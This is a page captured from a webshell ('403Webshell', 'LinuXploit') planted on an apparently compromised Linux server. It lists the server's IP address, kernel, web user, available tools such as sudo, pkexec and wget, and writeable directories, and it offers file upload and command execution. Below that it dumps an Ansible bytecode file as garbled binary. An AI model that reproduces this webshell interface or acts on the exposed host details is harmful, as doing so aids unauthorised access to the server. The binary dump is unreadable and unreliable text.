403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /lib/python3.11/site-packages/ansible/executor/__pycache__/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /lib/python3.11/site-packages/ansible/executor/__pycache__/interpreter_discovery.cpython-311.pyc
�

���c�&��J�ddlmZmZmZeZddlZddlZddlZddl	Z	ddl
mZddl
mZmZddlmZddlmZddlmZddlmZdd	lmZdd
lmZd�ej���D��Ze��Ze	j d��Z!Gd
�de"��Z#d�Z$d�Z%d�Z&dS)�)�absolute_import�division�print_functionN)�	constants)�	to_native�to_text)�LinuxDistribution)�Display)�get_versioned_doclink��LooseVersion)�Distribution)�
format_excc�b�i|],\}}|���|�����-S�)�lower)�.0�k�vs   �K/usr/lib/python3.11/site-packages/ansible/executor/interpreter_discovery.py�
<dictcomp>rs.��S�S�S�D�A�q�1�7�7�9�9�a�g�g�i�i�S�S�S�z((?s)PLATFORM[\r\n]+(.*)FOUND(.*)ENDFOUNDc�*��eZdZ�fd�Zd�Zd�Z�xZS)�!InterpreterDiscoveryRequiredErrorc�t��tt|���|��||_||_dS�N)�superr�__init__�interpreter_name�discovery_mode)�self�messagerr �	__class__s    �rrz*InterpreterDiscoveryRequiredError.__init__s8���
�/��6�6�?�?��H�H�H� 0���,����rc��|jSr�r"�r!s r�__str__z)InterpreterDiscoveryRequiredError.__str__!s
���|�rc��|jSrr%r&s r�__repr__z*InterpreterDiscoveryRequiredError.__repr__$s
���|�r)�__name__�
__module__�__qualname__rr'r)�
__classcell__)r#s@rrrsV�������-�-�-�-�-�
���������rrc�
�|dkr"td�|�����|�dd��}d}d}dg}|�d��}|�d��}		t
j�d|�	��}
t
j�d
|�	��}t�	d�|��|���d
�|D��}d�d�
|����}
|�|
d���}|�dd��}t�
|��}|s>t�d�|��|���td���|���d������}d�|���d���D��}t�d�|��|���|s2|	s.|j�d�||����dS|dkr/t+d�t-|�������t/jdd��}|jjr|�|dd|� ��}nt+d!���t7j|�d����}t;|��\}}|r|st+d"���t<�|��������}|
�|��������p|
�|��}|s"t+d#�|�����t?tA||��d$�%��}|rL|dkrFd|vrB|	s>|j�d&�||||tCd'������dS||vr�||vr0|	s.|j�d(�||����|	sE|j�d)�|||||dtCd'������|dS|S#t*$rG}t�	d*�t?|����|���Yd}~�nd}~wtD$r�}|	s�t�#d+�|t?|�����,��t�d-�t?tI������|���|rd|�d.��rOt�	d/�t?|�d.������|���Yd}~nd}~wwxYw|	sC|j�d0�|||dtCd'������|dS)1N�pythonz+Interpreter discovery not supported for {0}�inventory_hostname�unknownz/usr/bin/python�auto_legacy�_silent�_INTERPRETER_PYTHON_DISTRO_MAP)�	variables�INTERPRETER_PYTHON_FALLBACKz$Attempting {0} interpreter discovery)�msg�hostc��g|]}d|z��S)zcommand -v '%s'r)r�pys  r�
<listcomp>z(discover_interpreter.<locals>.<listcomp>Cs��O�O�O�2�)�B�.�O�O�Orz4echo PLATFORM; uname; echo FOUND; {0}; echo ENDFOUNDz; F)�sudoable�stdout�z%raw interpreter discovery output: {0})r8z3unexpected output from Python interpreter discoveryrc�`�g|]+}|�d���|�����,S)�/)�
startswith�strip)r�interps  rr;z(discover_interpreter.<locals>.<listcomp>Ss5��t�t�t��]c�]n�]n�or�]s�]s�t�f�l�l�n�n�t�t�tr�zfound interpreters: {0}z5No python interpreters found for host {0} (tried {1})�linuxz0unsupported platform for extended discovery: {0}zansible.executor.discoveryzpython_target.py)r<�in_dataz>pipelining support required for extended interpreter discoveryz-unable to get Linux distribution/version infoz#unsupported Linux distribution: {0}�surrogate_or_strict)�errorsz�Distribution {0} {1} on host {2} should use {3}, but is using /usr/bin/python for backward compatibility with prior Ansible releases. See {4} for more informationz/reference_appendices/interpreter_discovery.htmlzCPlatform interpreter {0} on host {1} is missing from bootstrap listz�Distribution {0} {1} on host {2} should use {3}, but is using {4}, since the discovered platform python interpreter was not present. See {5} for more information.z+Python interpreter discovery fallback ({0})zAUnhandled error in Python interpreter discovery for host {0}: {1})r7z$Interpreter discovery traceback:
{0}�stderrz(Interpreter discovery remote stderr:
{0}z�Platform {0} on host {1} is using the discovered Python interpreter at {2}, but future installation of another Python interpreter could change the meaning of that path. See {3} for more information.)%�
ValueError�format�getrA�endswith�C�config�get_config_value�display�vvv�join�_low_level_execute_command�foundre�match�debug�groupsrrB�
splitlines�_discovery_warnings�append�NotImplementedErrorr�pkgutil�get_data�_connection�has_pipelining�json�loads�_get_linux_distro�OS_FAMILY_LOWERr�_version_fuzzy_matchr�	Exception�warningr)�actionrr �	task_varsr8�res�
platform_type�found_interpreters�is_auto_legacy�	is_silent�platform_python_map�bootstrap_python_list�command_list�shell_bootstrap�
raw_stdoutrV�platform_script�
platform_info�distro�version�family�version_map�platform_interpreter�exs                        r�discover_interpreterr|)s����8�#�#��F�M�M�N^�_�_�`�`�`��=�=�-�y�9�9�D�
�C��M�,�-��#�.�.�}�=�=�N��'�'�	�2�2�I�b|��h�7�7�8X�dm�7�n�n�� !�� 9� 9�:W�cl� 9� m� m�����?�F�F�GW�X�X�_c��d�d�d�P�O�9N�O�O�O��P�W�W�X\�Xa�Xa�bn�Xo�Xo�p�p���/�/��%�/�P�P���W�W�X�s�+�+�
��
�
�j�)�)���	T��M�M�B�I�I�*�U�U�\`�M�a�a�a��R�S�S�S������q�)�/�/�1�1�7�7�9�9�
�t�t�5�<�<�>�>�!�;L�;W�;W�;Y�;Y�t�t�t���
�
�0�7�7�8J�K�K�RV�
�W�W�W�!�	&��
o��*�1�1�3J�JP�&�QU�Wl�Jm�Jm�o�o�o�&�%��G�#�#�%�&X�&_�&_�`i�jw�`x�`x�&y�&y�z�z�z�!�*�+G�I[�\�\����,�	h��3�3�4F�q�4I�TY�cr�3�s�s�C�C�&�&f�g�g�g��
�3�7�7�8�#4�#4�5�5�
�+�M�:�:�����	W�W�	W�%�&U�V�V�V� �$�$�V�\�\�^�^�%9�%9�%;�%;�<�<��)�-�-�f�l�l�n�n�.B�.B�.D�.D�E�E�h�I\�I`�I`�ag�Ih�Ih���	\�%�&K�&R�&R�SY�&Z�&Z�[�[�[�&�';�G�[�'Q�'Q�Zo�p�p�p���		*�#�'9�9�9�>P�Tf�>f�>f� �k��.�5�5�8� �����7K� 5�6g� h� h�j�j�	k�k�k�*�)��'9�9�9�#�+@�@�@� �E��.��� f�!'��(<�d�!C�!C�E�E�E��
o��*��V�5�$�V�F�G�T�;O�Qc�de�Qf�$9�:k�$l�$l�n�n�o�o�o�
&�a�(�(�#�#���g�g�g����F�M�M�g�VX�k�k�Z�Z�ae��f�f�f�f�f�f�f�f������|�|�|��	|��O�O� d� k� k�lp�ry�z|�r}�r}� ~� ~�O�����M�M�F�M�M�g�V`�Vb�Vb�Nc�Nc�d�d�ko�M�p�p�p��
|�s�w�w�x�(�(�
|���� L� S� S�T[�\_�\c�\c�dl�\m�\m�Tn�Tn� o� o�vz��{�{�{����������|�����g��"�
�V�-��V�M�4�1C�A�1F�1�2c�d�d�f�f�g�g�g�
�a� � s:�1HS*�4G+S*�!BS*�(S*�*
X9�4<T6�6
X9�C,X4�4X9c�D�|�dg��}t|��dkrt|��r|d|dfS|�d��}|sdStj|��}|�dd��|�d	d��fS)
N�platform_dist_result�rrD�osrelease_content)r>r>�idr>�
version_id)rL�len�anyr	�_parse_os_release_content)ru�dist_resultr��osrs    rrcrc�s����#�#�$:�B�?�?�K�
�;���1����[�!1�!1���1�~�{�1�~�-�-�%�)�)�*=�>�>�����x�
�
5�6G�
H�
H�C��7�7�4����s�w�w�|�S�9�9�9�9rc�d�|�|��}|r|Std�|���D����}t|��}t	j||��}|dkr |�|dj��S|�||dz
j��S)Nc�,�g|]}t|����Srr)rrs  rr;z(_version_fuzzy_match.<locals>.<listcomp>�s��"O�"O�"O�q�<��?�?�"O�"O�"OrrrD)rL�sorted�keysr
�bisect�vstring)rwryrj�sorted_looseversions�find_looseversion�kposs      rrere�s���
�/�/�'�
"�
"�C�
���
�!�"O�"O�K�<L�<L�<N�<N�"O�"O�"O�P�P��$�W�-�-���=�-�/@�A�A�D��q�y�y����3�A�6�>�?�?�?�
�?�?�/��q��9�A�B�B�Br)'�
__future__rrr�type�
__metaclass__r�rar]�re�ansiblerrN�ansible.module_utils._textrr�ansible.module_utils.distror	�ansible.utils.displayr
�ansible.utils.plugin_docsr�#ansible.module_utils.compat.versionr
�.ansible.module_utils.facts.system.distributionr�	tracebackr�	OS_FAMILY�itemsrdrQ�compilerUrfrr|rcrerrr�<module>r�s���C�B�B�B�B�B�B�B�B�B��
�
�
�
�
���������	�	�	�	�"�"�"�"�"�"�9�9�9�9�9�9�9�9�9�9�9�9�9�9�)�)�)�)�)�)�;�;�;�;�;�;�<�<�<�<�<�<�G�G�G�G�G�G� � � � � � �S�S�L�4J�4P�4P�4R�4R�S�S�S��
�'�)�)��
�"�*�@�
A�
A�������	����~!�~!�~!�B
:�
:�
:� C�C�C�C�Cr

Youez - 2016 - github.com/yon3zu
LinuXploit